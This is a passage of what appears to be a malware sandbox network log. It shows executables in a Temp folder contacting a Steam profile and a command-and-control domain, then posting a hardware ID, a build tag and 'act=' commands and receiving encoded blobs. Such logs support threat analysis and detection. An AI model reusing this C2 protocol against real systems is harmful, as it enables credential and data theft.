2024-10-21 08:47:38 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ram2aajn23q50abkpivtl0sgb; expires=Fri, 14 Feb 2025 02:34:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hbTmP8nfQNRrAquEkRAXMEH69tz22RgBYFKhdkBzOj%2BTgb%2FlzrHu5riUg5mS5GQTbmTgZlYrLU6NzEXB8ShHJfrK48OSjGRjtZGeDrv3CohSrswnGu6VNyDrz8C3st0ptsuS8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbe45b626c20-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1188&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19220&delivery_rate=2475213&cwnd=251&unsent_bytes=0&cid=c1db8fffb921a2a9&ts=703&x=0"
2024-10-21 08:47:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50051	104.102.49.254	443	7704	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:38 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:47:38 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:47:38 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=cc55798a906bff6cf8655ba3; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-21 08:47:38 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:47:39 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-21 08:47:39 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50062	172.67.206.204	443	7704	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:39 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-21 08:47:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-21 08:47:39 UTC	558	IN	HTTP/1.1 403 Forbidden Date: Mon, 21 Oct 2024 08:47:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3bF26MF69tp3vRbY5k4wsFnU4EX7VRpVJQ3OLs4SuLmgAH4zMDyY0%2FYDCjRDZRzz2zOhNw4aj9FMnGmy553cFplih0fabFah5q%2BvegH09RuuoHtn9TRT8pVw7RI3oKLuPdiAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbf13c282e2a-DFW
2024-10-21 08:47:39 UTC	811	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-21 08:47:39 UTC	1369	IN	Data Raw: 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 Data Ascii: styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementByI
2024-10-21 08:47:39 UTC	1369	IN	Data Raw: 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-21 08:47:39 UTC	895	IN	Data Raw: 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 Data Ascii: span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing"
2024-10-21 08:47:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50073	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:41 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=3JeFFmIqrglsftFHNCl0c56gP6GNbVF2QtgCiUsDkWs-1729500453-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: sergei-esenin.com
2024-10-21 08:47:41 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:41 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1anlg03sdnssdjp4hch1j2vuus; expires=Fri, 14 Feb 2025 02:34:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T%2Fyu15jM9QtRS1IIxpd%2FAMNp7C9DvXRgu5hXb9TcXdYN%2B43c5Z8qLPoCskNEVP%2FYkZBNmyMJYXJY1xSsFyhkTU1300cV7qL7acw9DBgkiQvNxYCwFseXyRyU2UWlhe65uaC0tw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbfbaf10e54a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1313&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9818&delivery_rate=2073013&cwnd=251&unsent_bytes=0&cid=f12797d7560aeda4&ts=615&x=0"
2024-10-21 08:47:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50076	172.67.206.204	443	7704	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:41 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=JMeye5BWJnsQ8aDxE6nf3zaPx8nKyzkpPxnbMUjw584-1729500459-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-21 08:47:41 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-21 08:47:41 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjpsv66q42g4n1vovol2hrs0gf; expires=Fri, 14 Feb 2025 02:34:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D2YxC1DjQzXRUernlKLjUgNEA5LBdomVDLISiuxs8PtaHF3tZBCopjuUca1gT%2FXzKiohBXFNvSHDI38Zh8stf%2BGfuEmZ6OBfoOxE6kpEASkXdX0J0dyimeBN2AIk89cizm%2F7AA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbfc5cc53ad2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1079&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1042&delivery_rate=2535901&cwnd=249&unsent_bytes=0&cid=4c95c76aaadbe492&ts=556&x=0"
2024-10-21 08:47:41 UTC	353	IN	Data Raw: 31 64 39 33 0d 0a 73 30 50 58 79 35 63 50 31 39 42 61 62 39 50 69 71 45 6a 79 4c 64 2f 53 58 6d 55 75 2b 62 50 7a 66 6d 46 38 58 47 6a 51 71 47 62 49 59 61 48 70 72 54 76 37 38 69 6b 4b 38 64 6a 63 4f 6f 64 49 38 2f 41 2f 41 51 7a 44 31 5a 49 53 45 68 6c 77 53 71 62 46 52 49 6b 6c 74 71 66 6b 61 76 76 79 50 78 66 78 32 50 4d 7a 30 45 69 78 38 47 52 48 53 35 50 52 6b 68 49 44 48 54 63 48 6f 4d 51 46 32 79 2b 77 6f 2f 4a 73 73 37 45 32 41 72 61 48 7a 53 6d 59 51 37 61 2f 4e 67 67 4d 31 5a 47 57 42 45 4e 47 66 69 57 31 33 41 66 2b 49 71 53 67 74 58 4c 37 71 33 67 4b 76 63 43 53 61 70 4e 49 76 62 34 34 41 55 57 52 32 35 73 61 41 68 67 32 47 4c 6e 4f 44 74 73 68 73 36 4c 34 5a 61 65 38 50 41 57 39 67 63 63 70 30 41 48 39 74 79 52 48 46 4e 75 43 6f 78 38 53 44 Data Ascii: 1d93s0PXy5cP19Bab9PiqEjyLd/SXmUu+bPzfmF8XGjQqGbIYaHprTv78ikK8djcOodI8/A/AQzD1ZISEhlwSqbFRIkltqfkavvyPxfx2PMz0Eix8GRHS5PRkhIDHTcHoMQF2y+wo/Jss7E2AraHzSmYQ7a/NggM1ZGWBENGfiW13Af+IqSgtXL7q3gKvcCSapNIvb44AUWR25saAhg2GLnODtshs6L4Zae8PAW9gccp0AH9tyRHFNuCox8SD
2024-10-21 08:47:41 UTC	1369	IN	Data Raw: 30 59 4c 57 67 4d 41 61 36 68 64 67 68 6d 55 4b 77 73 44 45 4e 51 35 6a 52 6c 68 59 4a 45 54 51 4f 76 38 63 43 30 53 48 31 35 37 56 71 72 66 4a 67 54 5a 4b 46 32 69 32 63 57 66 2b 4b 66 42 67 43 67 70 47 57 45 45 4e 47 66 67 4b 33 79 51 66 61 4c 72 61 68 2f 6e 2b 31 6f 44 34 41 74 4a 4c 4d 4c 35 35 46 76 71 49 32 43 55 71 59 32 4a 6f 56 42 68 6b 36 53 76 79 4b 41 38 6c 68 37 65 6e 55 59 4c 36 2b 4d 68 71 78 77 4e 56 6b 69 51 2b 36 76 48 78 66 44 4a 2f 51 6c 52 30 48 45 44 41 4f 76 73 77 4b 33 43 36 7a 6f 2f 56 71 76 37 6f 77 44 4c 79 4c 78 53 71 56 51 72 6d 32 4d 41 5a 4a 32 35 2f 52 47 78 74 65 5a 6b 71 63 7a 51 66 44 59 34 43 71 2b 32 4f 79 70 48 67 53 2f 35 6d 4b 4c 5a 77 50 35 66 41 79 41 6b 4f 4a 30 49 4d 5a 44 51 77 79 44 37 54 48 42 39 38 68 73 4b Data Ascii: 0YLWgMAa6hdghmUKwsDENQ5jRlhYJETQOv8cC0SH157VqrfJgTZKF2i2cWf+KfBgCgpGWEENGfgK3yQfaLrah/n+1oD4AtJLML55FvqI2CUqY2JoVBhk6SvyKA8lh7enUYL6+MhqxwNVkiQ+6vHxfDJ/QlR0HEDAOvswK3C6zo/Vqv7owDLyLxSqVQrm2MAZJ25/RGxteZkqczQfDY4Cq+2OypHgS/5mKLZwP5fAyAkOJ0IMZDQwyD7THB98hsK
2024-10-21 08:47:41 UTC	1369	IN	Data Raw: 70 48 67 53 2f 35 6d 4b 4c 5a 77 50 35 66 41 77 44 6b 79 51 32 35 55 63 42 42 4d 37 43 62 58 4a 43 64 59 72 75 36 37 78 59 62 79 2f 50 67 32 32 68 4d 38 34 6c 55 61 78 76 48 78 4a 44 4a 7a 4a 30 55 52 44 4d 54 6b 63 73 65 55 48 77 43 6a 31 74 72 74 30 39 62 55 30 54 65 6e 41 7a 53 2b 59 52 4c 75 34 50 42 56 4a 6c 64 71 51 46 67 55 66 4d 77 61 30 79 67 58 52 4a 37 6d 70 38 6d 71 6e 6f 44 30 4c 6f 34 71 4b 5a 4e 42 49 70 66 42 6b 52 33 71 4c 78 6f 41 4b 51 53 73 39 42 4c 7a 4e 45 70 45 2b 2b 37 43 31 61 72 6e 79 59 45 32 36 67 4d 59 74 6d 45 6d 35 75 44 4d 49 52 59 6e 51 6e 52 49 52 47 54 34 44 76 4d 55 49 32 43 79 79 70 50 35 6e 75 4c 59 2f 44 50 48 4f 69 69 32 49 44 2b 58 77 43 68 64 42 6c 2f 2b 61 45 41 70 65 49 55 53 72 69 67 50 64 59 65 33 70 38 57 47 Data Ascii: pHgS/5mKLZwP5fAwDkyQ25UcBBM7CbXJCdYru67xYby/Pg22hM84lUaxvHxJDJzJ0URDMTkcseUHwCj1trt09bU0TenAzS+YRLu4PBVJldqQFgUfMwa0ygXRJ7mp8mqnoD0Lo4qKZNBIpfBkR3qLxoAKQSs9BLzNEpE++7C1arnyYE26gMYtmEm5uDMIRYnQnRIRGT4DvMUI2CyypP5nuLY/DPHOii2ID+XwChdBl/+aEApeIUSrigPdYe3p8WG
2024-10-21 08:47:41 UTC	1369	IN	Data Raw: 62 53 46 7a 69 32 55 53 62 4c 77 63 6b 64 4c 67 35 48 4a 58 43 77 35 43 30 69 54 38 45 54 4f 62 36 7a 70 38 6d 48 31 36 6e 67 42 73 6f 7a 43 4a 5a 5a 47 73 62 6f 31 44 45 43 51 31 5a 30 56 42 68 67 2f 44 37 66 4c 41 4e 30 72 73 36 72 32 59 72 71 39 4d 45 33 2f 77 4d 30 79 30 42 66 39 6c 53 73 4d 51 70 32 52 6a 6c 49 61 58 6a 6b 47 38 70 4a 45 33 53 69 7a 72 2f 42 68 74 4c 51 77 43 4c 6d 45 79 79 79 57 54 4c 4b 30 4f 51 5a 44 6e 39 32 66 46 67 49 66 4d 67 47 39 77 51 47 52 62 2f 57 75 37 53 33 74 38 67 6b 4f 70 35 66 61 4a 74 42 51 38 36 6c 38 41 45 44 62 69 64 45 64 45 52 51 30 42 4c 66 46 41 64 49 75 73 71 54 7a 59 62 2b 37 4d 41 75 2b 69 64 67 70 6e 45 47 36 76 6a 41 4a 51 5a 48 53 6e 46 78 4e 58 6a 6b 53 38 70 4a 45 2f 53 61 34 68 2f 35 68 73 76 49 6e Data Ascii: bSFzi2USbLwckdLg5HJXCw5C0iT8ETOb6zp8mH16ngBsozCJZZGsbo1DECQ1Z0VBhg/D7fLAN0rs6r2Yrq9ME3/wM0y0Bf9lSsMQp2RjlIaXjkG8pJE3Sizr/BhtLQwCLmEyyyWTLK0OQZDn92fFgIfMgG9wQGRb/Wu7S3t8gkOp5faJtBQ86l8AEDbidEdERQ0BLfFAdIusqTzYb+7MAu+idgpnEG6vjAJQZHSnFxNXjkS8pJE/Sa4h/5hsvIn
2024-10-21 08:47:41 UTC	1369	IN	Data Raw: 52 71 6c 31 66 39 36 48 77 78 53 34 76 42 6b 6c 34 79 43 44 30 63 75 63 63 49 6b 54 37 37 73 4c 56 71 75 66 4a 67 54 62 65 50 77 79 6d 66 54 72 53 38 4d 51 4a 46 6e 74 43 58 47 41 6b 55 50 67 79 30 79 77 48 62 49 72 53 6a 2f 47 71 39 74 54 73 66 38 63 36 4b 4c 59 67 50 35 66 41 56 41 46 36 56 77 64 45 44 54 51 64 2b 44 62 36 4b 58 4a 45 6c 76 36 62 78 61 72 6d 30 50 51 75 38 67 63 55 72 6b 45 43 35 75 7a 55 42 54 5a 62 55 6e 42 67 52 46 44 55 46 76 73 4d 49 33 47 48 37 36 66 4a 31 39 65 70 34 50 4c 79 4f 78 43 32 47 44 36 4c 2b 4a 55 64 4c 6c 35 48 4a 58 41 49 53 4d 51 6d 39 79 51 66 51 4b 36 65 37 2b 57 53 39 74 7a 51 47 76 34 62 59 4c 4a 39 47 76 72 4d 31 41 45 53 58 32 35 49 62 51 31 42 2b 44 61 71 4b 58 4a 45 43 6f 72 6e 34 4c 61 72 38 49 55 32 32 6a Data Ascii: 